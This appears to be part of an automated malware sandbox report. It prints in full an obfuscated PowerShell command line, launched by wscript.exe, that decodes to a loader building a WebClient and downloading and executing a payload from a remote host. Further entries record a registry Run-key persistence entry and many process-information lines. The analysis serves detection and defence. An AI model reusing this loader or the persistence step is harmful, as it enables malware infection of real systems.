aaodhaitAnsafSkinaTrefsMoist');$Saaede=Uprouse15 ' For$ BraUTegnn Benmn nva .tesHandt,edre EnsrU frfBestu.xillBjrg.Bai
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "echo $Horrify; function Uprouse15($Fastigiate){$Bovate=4;do{$Cataracted+=$Fastigiate[$Bovate];$Bovate+=5;$Preciosities=Format-List} until(!$Fastigiate[$Bovate])$Cataracted}function Testvrktjer($Pericemental){ .($Unplutocratically) ($Pericemental)}$Tagdkker=Uprouse15 ' HusnUdboe Flltregu.,lnsw';$Tagdkker+=Uprouse15 'tersEGrabBNo.aCC.ckLHjteISuprE AndnRenlT';$Rootfast=Uprouse15 'I baM SrsoAwonzU.deiA.rel enslKonta rio/';$Bovatendskudsstning=Uprouse15 'In lTSekulUndesprec1 R c2';$Matricides=' Iko[H isNperie ProT Til.E ems Yane ugtrHjerV ChoIAftecD,taeCoagpChifoServiLevenSkaltEudamPolyAGastNCardaSi kG Ap.eBrutrBuli]Beds: Tan:K losFesteSquiC avpU BomrId oI coptRecoYKnhjpHa eRRa,eo VitT RanO ntCSu sOTerslHepa=opsl$Kns.bDe.oOBankVJow a HygtFo sE KltNEntodAfs,Sre.uKLeftUFormDOranSSquasSorttRealNGalliGiv NMicrG';$Rootfast+=Uprouse15 ' Bri5ad i.Atro0St.k For(hoveWSelviC rcnNin.dLogaoAmniwTri sMetr klatN ArcTGurg Bue1 hri0po d.Ki o0 in;bo d vbniWUntui CounPeri6Capo4Sa e;Va p S,rix wa6Sca 4Mave;peer skar Nurv ko:Tra 1 Cry3over4town.Fors0men.)Edel SumGButieLem c UdskDiaroAlcm/ Van2Ti s0 ,be1,etr0Refl0Gang1Gl t0 Syt1 Sub AlcF SpoiUnder Ab eTy efDobboH.arxInbo/Semi1Si.u3Prem4,oni.M.zu0';$Hydroida=Uprouse15 'SchiuNonfs BibeRiveRMeta-InhaaArtsgUnswegrooN Rect';$Efterabelserne174=Uprouse15 'PolyhKravtStyrtAfrep Sp.sMarx:F re/Regn/ JosoTagdo G drStreiMe.og.anaiSeminIn xaRudslBleru ,edsConceMonadTyro. vivcDagpoPl dm Cre/I.dtln neodemirFo sdPalo/SokkRGenmeSarci ,ramUdmea Pl gFartiArmin agteMoi..BovnpLab rAktim';$Smreplsen78=Uprouse15 ' Apo>';$Unplutocratically=Uprouse15 'StakI CofeSvovX';$Fodboldes='Sygevarsler';$Barakkens='\Sammenbinder.Moe';Testvrktjer (Uprouse15 ' Pri$HjergVeltlmonoOK,rsbUdsea StelAsja:Lo tA.forNTffenG lvU Astl OraO ilISpladHuj = elg$FaguESiniNDetav ase:IdenAHjfoPk.shP Un,DZe,haTommtStilAT an+dyka$Ca bB ysiA angrpremaB nekAntiKSl nEBu.lN unsS');Testvrktjer (Uprouse15 ' gho$WildGEntrLMi eo Saib VenaSmaaLD.lu:Sni.sRadiPPhonI geaSD moeMu iPUnsul T tiIschGE,trtAish1 Fri5 dfo=unod$ Ud EBaudFCongtB,steTaklREnspA Norb Anae HveLUdfas yntEImp R LusNWashEIsil1 Opt7fo,e4Vi a.knalsI,teP EpilB,lliAncytKkke(Tant$SyntSUrinm S.cR Bate Ko,p agbl SeaSRygme Miln Ch.7Triu8Pa i)');Testvrktjer (Uprouse15 $Matricides);$Efterabelserne174=$Spisepligt15[0];$Bodgery=(Uprouse15 ' Inq$Om,igjackLCacoOBlisBUdklA uinLFo.s:Ani uLudvnUdhuMPel,aGastsAcalTPassE inRSp cfS.aau A,kLRegn=ProsnKoekEAmerwAfso-Ho ooPeptBLangJ CryEMat cTeleT Co To lsRec yL geS UnuTSkygesuprM ork. Rip$Fri tcoc a ewaGBrdrDAlulK TafK PosEPne r');Testvrktjer ($Bodgery);Testvrktjer (Uprouse15 'Tyfo$Mou UAr,inIntemBeviaM nisRod,tKimbeTimerUngrf eeuVitalOver.BoflHSeaseM craN.grdTilgeskibrChe.sD el[ Unf$ MurH,hefyBadidNov rM xioJo siReped Ek,aHome]Mic =Dupl$Ls,eRUdsko aaodhaitAnsafSkinaTrefsMoist');$Saaede=Uprouse15 ' For$ BraUTegnn Benmn nva .tesHandt,edre EnsrU frfBestu.xillBjrg.Bai
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Horrify; function Uprouse15($Fastigiate){$Bovate=4;do{$Cataracted+=$Fastigiate[$Bovate];$Bovate+=5;$Preciosities=Format-List} until(!$Fastigiate[$Bovate])$Cataracted}function Testvrktjer($Pericemental){ .($Unplutocratically) ($Pericemental)}$Tagdkker=Uprouse15 ' HusnUdboe Flltregu.,lnsw';$Tagdkker+=Uprouse15 'tersEGrabBNo.aCC.ckLHjteISuprE AndnRenlT';$Rootfast=Uprouse15 'I baM SrsoAwonzU.deiA.rel enslKonta rio/';$Bovatendskudsstning=Uprouse15 'In lTSekulUndesprec1 R c2';$Matricides=' Iko[H isNperie ProT Til.E ems Yane ugtrHjerV ChoIAftecD,taeCoagpChifoServiLevenSkaltEudamPolyAGastNCardaSi kG Ap.eBrutrBuli]Beds: Tan:K losFesteSquiC avpU BomrId oI coptRecoYKnhjpHa eRRa,eo VitT RanO ntCSu sOTerslHepa=opsl$Kns.bDe.oOBankVJow a HygtFo sE KltNEntodAfs,Sre.uKLeftUFormDOranSSquasSorttRealNGalliGiv NMicrG';$Rootfast+=Uprouse15 ' Bri5ad i.Atro0St.k For(hoveWSelviC rcnNin.dLogaoAmniwTri sMetr klatN ArcTGurg Bue1 hri0po d.Ki o0 in;bo d vbniWUntui CounPeri6Capo4Sa e;Va p S,rix wa6Sca 4Mave;peer skar Nurv ko:Tra 1 Cry3over4town.Fors0men.)Edel SumGButieLem c UdskDiaroAlcm/ Van2Ti s0 ,be1,etr0Refl0Gang1Gl t0 Syt1 Sub AlcF SpoiUnder Ab eTy efDobboH.arxInbo/Semi1Si.u3Prem4,oni.M.zu0';$Hydroida=Uprouse15 'SchiuNonfs BibeRiveRMeta-InhaaArtsgUnswegrooN Rect';$Efterabelserne174=Uprouse15 'PolyhKravtStyrtAfrep Sp.sMarx:F re/Regn/ JosoTagdo G drStreiMe.og.anaiSeminIn xaRudslBleru ,edsConceMonadTyro. vivcDagpoPl dm Cre/I.dtln neodemirFo sdPalo/SokkRGenmeSarci ,ramUdmea Pl gFartiArmin agteMoi..BovnpLab rAktim';$Smreplsen78=Uprouse15 ' Apo>';$Unplutocratically=Uprouse15 'StakI CofeSvovX';$Fodboldes='Sygevarsler';$Barakkens='\Sammenbinder.Moe';Testvrktjer (Uprouse15 ' Pri$HjergVeltlmonoOK,rsbUdsea StelAsja:Lo tA.forNTffenG lvU Astl OraO ilISpladHuj = elg$FaguESiniNDetav ase:IdenAHjfoPk.shP Un,DZe,haTommtStilAT an+dyka$Ca bB ysiA angrpremaB nekAntiKSl nEBu.lN unsS');Testvrktjer (Uprouse15 ' gho$WildGEntrLMi eo Saib VenaSmaaLD.lu:Sni.sRadiPPhonI geaSD moeMu iPUnsul T tiIschGE,trtAish1 Fri5 dfo=unod$ Ud EBaudFCongtB,steTaklREnspA Norb Anae HveLUdfas yntEImp R LusNWashEIsil1 Opt7fo,e4Vi a.knalsI,teP EpilB,lliAncytKkke(Tant$SyntSUrinm S.cR Bate Ko,p agbl SeaSRygme Miln Ch.7Triu8Pa i)');Testvrktjer (Uprouse15 $Matricides);$Efterabelserne174=$Spisepligt15[0];$Bodgery=(Uprouse15 ' Inq$Om,igjackLCacoOBlisBUdklA uinLFo.s:Ani uLudvnUdhuMPel,aGastsAcalTPassE inRSp cfS.aau A,kLRegn=ProsnKoekEAmerwAfso-Ho ooPeptBLangJ CryEMat cTeleT Co To lsRec yL geS UnuTSkygesuprM ork. Rip$Fri tcoc a ewaGBrdrDAlulK TafK PosEPne r');Testvrktjer ($Bodgery);Testvrktjer (Uprouse15 'Tyfo$Mou UAr,inIntemBeviaM nisRod,tKimbeTimerUngrf eeuVitalOver.BoflHSeaseM craN.grdTilgeskibrChe.sD el[ Unf$ MurH,hefyBadidNov rM xioJo siReped Ek,aHome]Mic =Dupl$Ls,eRUdsko aaodhaitAnsafSkinaTrefsMoist');$Saaede=Uprouse15 ' For$ BraUTegnn Benmn nva .tesHandt,edre EnsrU frfBestu.xillBjrg.Bai	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF936860988 push E95AFCD0h; ret	3_2_00007FF9368609C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF9368651F5 push eax; ret	3_2_00007FF936865241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF9368691FA push eax; ret	3_2_00007FF936869251
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF936865242 push eax; ret	3_2_00007FF936865241
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_088F288C push ebx; retf	6_2_088F288D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_088F4A86 push 4D6A6190h; iretd	6_2_088F4A8B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_088F2CBE push ebx; iretd	6_2_088F2CC5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_088F0E64 push esi; retf	6_2_088F0E65
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_088F1D85 push cs; retf	6_2_088F1D94
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_088F4BC1 push 49B4C2E3h; ret	6_2_088F4BC6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_088F39DC push esi; ret	6_2_088F3A32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_088F251A push ecx; retf	6_2_088F2541
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_088F074C push ebx; ret	6_2_088F074F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_088F2B41 push ss; ret	6_2_088F2B44
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_088F4B7A push FFFFFFDAh; ret	6_2_088F4B7D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_04260E64 push esi; retf	15_2_04260E65
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_04262CBE push ebx; iretd	15_2_04262CC5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_04264A86 push 4D6A6190h; iretd	15_2_04264A8B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_0426288C push ebx; retf	15_2_0426288D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_0426251A push ecx; retf	15_2_04262541
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_04264B7A push FFFFFFDAh; ret	15_2_04264B7D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_04262B41 push ss; ret	15_2_04262B44
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_0426074C push ebx; ret	15_2_0426074F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_04261D85 push cs; retf	15_2_04261D94
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_04264BC1 push 49B4C2E3h; ret	15_2_04264BC6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_042639DC push esi; ret	15_2_04263A32
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20AB29E0 push ecx; ret	15_2_20AB3CA5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20AB3C90 push ecx; ret	15_2_20AB3CA5

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Litteraturlistes			Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Litteraturlistes			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
